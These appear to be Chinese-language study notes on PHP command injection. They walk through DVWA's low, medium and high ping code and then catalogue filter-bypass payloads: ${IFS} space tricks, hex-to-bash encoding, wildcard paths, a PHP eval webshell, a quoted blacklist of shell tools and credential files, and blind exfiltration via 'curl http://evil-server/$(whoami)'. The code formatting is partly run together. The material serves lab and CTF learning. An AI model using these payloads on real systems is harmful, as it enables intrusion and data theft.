命令执行:
PHP:system、exec、shell_exec、passthru、popen、proc_popen等称为高危漏洞。
原理:只要程序可以调用系统命令的情况下都可以发生命令执行漏洞。
条件:用户能够控制函数输入,存在可以执行代码的危险函数。
命令执行漏洞产生原因:
开发人员没有对特殊函数入口做过滤,导致用户可以提交恶意代码并提交服务端执行。
Web服务器没有过滤危险函数导致命令执行漏洞攻击成功。
命令执行漏洞带来的危害:
- 继承Web服务程序的权限去执行系统命令或读写文件。
- 反弹shell
- 控制整个网站甚至控制服务器。
- 进一步内网渗透
PHP中的危险函数:
- system:成功则返回命令输出的最后一行,失败则返回FALSE。
- exec:命令执行结果的最后一行内容。
- shell_exec:命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回NULL。
- passthru:执行外部程序并且显示原始输出。
- eval:将输入的字符串参数当做PHP程序代码来执行。
- assert
- preg_replace
- call_user_func
low.php
这是完整的代码
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end user$html .= "<pre>{$cmd}</pre>";}?>
通过观察代码我们可以发现有个shell_exec是危险函数而且没有任何绕过
说明
isset ( mixed $var , mixed $... = ? ) : bool
检测变量是否设置,并且不是 null。
如果已经使用 unset() 释放了一个变量之后,它将不再是 isset()。若使用 isset() 测试一个被设置成 null 的变量,将返回 false。同时要注意的是 null 字符("\0")并不等同于 PHP 的 null 常量。
如果一次传入多个参数,那么 isset() 只有在全部参数都以被设置时返回 true 计算过程从左至右,中途遇到没有设置的变量时就会立即停止。
参数var
要检查的变量。 ...
其他变量。
返回值
如果 var 存在并且值不是 null 则返回 true,否则返回 false。
stristr ( string $haystack , mixed $needle , bool $before_needle = false ) : string
返回 haystack 字符串从 needle 第一次出现的位置开始到结尾的字符串。
参数haystack
在该字符串中查找。 needle
如果 needle 不是一个字符串,那么它将被转换为整型并被视为字符顺序值。 before_needle
若为 true,strstr() 将返回 needle 在 haystack 中的位置之前的部分(不包括 needle)。
参数 needle 和 haystack 将以不区分大小写的方式对待。
返回值
返回匹配的子字符串。如果 needle 未找到,返回 false。
php_uname ( string $mode = “a” ) : string
php_uname() 返回了运行 PHP 的操作系统的描述。 这和 phpinfo() 最顶端上输出的是同一个字符串。 如果仅仅要获取操作系统的名称。可以考虑使用常量 PHP_OS,不过要注意该常量会包含 PHP 构建(built)时的操作系统名。
在一些旧的 UNIX 平台,它有可能无法检测到当前系统的信息,然后会还原显示成构建 PHP 时的系统信息。 这仅仅在你的 uname() 函数库不存在或无法运行时发生。
参数modemode 是单个字符,用于定义要返回什么信息:
'a':此为默认。包含序列"s n r v m"里的所有模式。's':操作系统名称。例如:FreeBSD。'n':主机名。例如:localhost.example.com。'r':版本名称,例如:5.1.2-RELEASE。'v':版本信息。操作系统之间有很大的不同。'm':机器类型。例如:i386。
medium.php
代码如下所示
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Set blacklist$substitutions = array('&&' => '',';' => '',);// Remove any of the charactars in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end user$html .= "<pre>{$cmd}</pre>";}?>
观察代码我们可以发现设置了黑名单过滤了’&&’和’;’,但是仍然可用其他方式突破;如:| & ||
说明
str_replace ( mixed $search , mixed $replace , mixed $subject , int &$count = ? ) : mixed
该函数返回一个字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换之后的结果。
如果没有一些特殊的替换需求(比如正则表达式),你应该使用该函数替换 ereg_replace() 和 preg_replace()。
参数
如果 search 和 replace 为数组,那么 str_replace() 将对 subject 做二者的映射替换。如果 replace 的值的个数少于 search 的个数,多余的替换将使用空字符串来进行。如果 search 是一个数组而 replace 是一个字符串,那么 search 中每个元素的替换将始终使用这个字符串。该转换不会改变大小写。
如果 search 和 replace 都是数组,它们的值将会被依次处理。 search
查找的目标值,也就是 needle。一个数组可以指定多个目标。 replacesearch 的替换值。一个数组可以被用来指定多重替换。 subject
执行替换的数组或者字符串。也就是 haystack。
如果 subject 是一个数组,替换操作将遍历整个 subject,返回值也将是一个数组。 count
如果被指定,它的值将被设置为替换发生的次数。
返回值
该函数返回替换后的数组或者字符串。
array_keys ( array $array , mixed $search_value = null , bool $strict = false ) : array
array_keys() 返回 input 数组中的数字或者字符串的键名。
如果指定了可选参数 search_value,则只返回该值的键名。否则 input 数组中的所有键名都会被返回。
参数input
一个数组,包含了要返回的键。 search_value
如果指定了这个参数,只有包含这些值的键才会返回。 strict
判断在搜索的时候是否该使用严格的比较(===)。
返回值
返回 input 里的所有键。
high.php
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$target = trim($_REQUEST[ 'ip' ]);// 设置黑名单,过滤'&' ';' '|' '-' '$' '(' ')' '\' '`' '||'//对'|'过滤不严格,后面有空格//仍然可以突破;'&|&' '|||' ';|;' '|'$substitutions = array('&' => '',';' => '','| ' => '', //此处'|'后有个空格,所以并没有过滤掉'|''-' => '','$' => '','(' => '',')' => '','`' => '','||' => '',);// Remove any of the charactars in the array (blacklist).$target = str_replace( array_keys( $substitutions ), $substitutions, $target );// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping ' . $target );}else {// *nix$cmd = shell_exec( 'ping -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";}?>
对’|’过滤不严格,后面有空格(要不是看了别人笔记还真没看出来。。。)
绕过
1、绕过空格
< -- 重定向,如cat<flag.php<> -- 重定向,如cat<>flag.php%09 -- 需要php环境,如cat%09flag.php${IFS} -- 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php$IFS$9 -- 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
2、命令分隔
%0a -- 换行符,需要php环境%0d -- 回车符,需要php环境; -- 在 shell 中,担任”连续指令”功能的符号就是”分号”& -- 不管第一条命令成功与否,都会执行第二条命令&& -- 第一条命令成功,第二条才会执行| -- 第一条命令的结果,作为第二条命令的输入|| -- 第一条命令失败,第二条才会执行
3、命令终结符
%00 -- 需要php环境%20# -- 需要php环境
4、黑名单绕过
拼接a=c;b=at;c=flag;$a$b $ca=c;b=at;c=heb;d=ic;ab{c}{d}
借他人之手来获取字符如果过滤了<>?,可以从已有的文件或环境变量中获取自己需要的字符。如获取 < 符 -- echo `expr substr $(awk NR==1 test.php) 1 1`
反斜杠绕过示例:l\s
变量绕过```php a=l;b=s;$a$b
cat$x /etc/passwd
- `编码绕过````php`echo 'Y2F0Cg==' | base64 -d` flag.txtecho "63617420666C61672E747874" | xxd -r -p|bash`printf "\154\163"`
连字符绕过```php c’’at flag.txt
c””at flag.txt
ca$@t flag.txt
- `反引号绕过````phpcat `ls`
$blacklist = ['flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed', 'apt', 'yum', 'curl', 'wget', 'perl','python', 'zip', 'tar', 'php', 'ruby', 'kill', 'passwd', 'shadow', 'root', 'z','dir', 'dd', 'df', 'du', 'free','tempfile','touch', 'tee', 'sha', 'x64', 'g','xargs', 'PATH','$0', 'proc', '/', '&', '|', '>', '<', ';', '"', '\'', '\\', "\n"];...(省略部分代码)foreach($blacklist as $keyword) {if(strstr($ip, $keyword)) {return "{$keyword} not allowed";...(省略部分代码)exec("ping -c 1 \"{$ip}\" 2>&1", $ret);
通配符*,?与斜杠组合绕过/bin/sh = /b?n/?h
5、绕过ip中的句点
网络地址可以转换成数字地址,比如127.0.0.1可以转化为2130706433。
可以直接访问http://2130706433或者http://0x7F000001,这样就可以绕过.的ip过滤。
在线转换地址:数字转IP地址 IP地址转数字 域名转数字IP6、liunx工具绕过
more:一页一页的显示档案内容less:与 more 类似head:查看头几行tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示tail:查看尾几行nl:显示的时候,顺便输出行号od:以二进制的方式读取档案内容vi:一种编辑器,这个也可以查看vim:一种编辑器,这个也可以查看sort:可以查看uniq:可以查看file -f:报错出具体内容
7、<?=xxx?>绕过
PHP中的<?=xxx?>就可以将一个变量输出$_="xxx";?><?=$_?>
8、长度限制绕过
```php //反斜杠拼接
l\ s
//echo 写入可执行文件
echo \<?php >1 echo eval(>>1 echo \$_GET>>1 echo [1]>>1 echo )\;>>1
//创建文件以命令做文件名,然后以时序导入另一个文件,执行
ls ls -t >a sh a
<a name="oFbQy"></a>### 9、无回显绕过```phpcurl http://evil-server/$(whoami)wget http://evil-server/$(whoami)
10、文件构造
在ctfhub文件包含中,有一个shell,txt,也就是文件
我们令?file = shell.txt,已知shell.txt内容为<?php eval($_REQUEST['ctfhub']);?>wrequest类型是由get和post构成的
在post数据里输入ctfhub=system("ls /");
就可以执行命令.
